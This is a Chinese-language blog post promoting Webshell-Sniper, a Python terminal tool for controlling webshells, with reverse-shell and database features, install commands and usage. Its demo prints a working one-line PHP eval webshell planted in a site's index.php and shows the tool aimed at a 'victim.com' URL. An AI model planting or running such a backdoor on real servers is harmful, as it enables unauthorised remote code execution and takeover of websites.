Webshell-Sniper 基于终端的Webshell管理器
- 发表于
- 安全工具
Webshell-Sniper介绍
Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器,和以往我们分享的Webshell管理工具有所不同,所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面,但这样的操作也是另有一翻感觉。
功能
- 基于终端的shell交互
- 反向连接shell(这就能做非常多的事了)
- 数据库管理
Webshell-Sniper安装与使用
环境
1 2 3 4 5 6 |
服务端 : Linux python 2.7 客户端 : apache 2.4 php 7.0 |
需要注意的是,Webshell-Sniper服务端只支持Unix系统环境。
安装
1 2 3 |
git clone https://github.com/WangYihang/Webshell-Sniper cd Webshell-Sniper pip install -r requirements.txt |
使用
1 2 3 4 5 6 7 8 9 |
Usage : python webshell-sniper.py [URL] [METHOD] [AUTH] Example : python webshell-sniper.py http://127.0.0.1/c.php POST c # Demo # cat /var/www/html/index.php <?php eval($_POST['s3cr3t']);?> # python webshell-sniper.py http://victim.com/index.php POST s3cr3t ... |
Webshell-Sniper视频演示
原文连接:Webshell-Sniper 基于终端的Webshell管理器
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。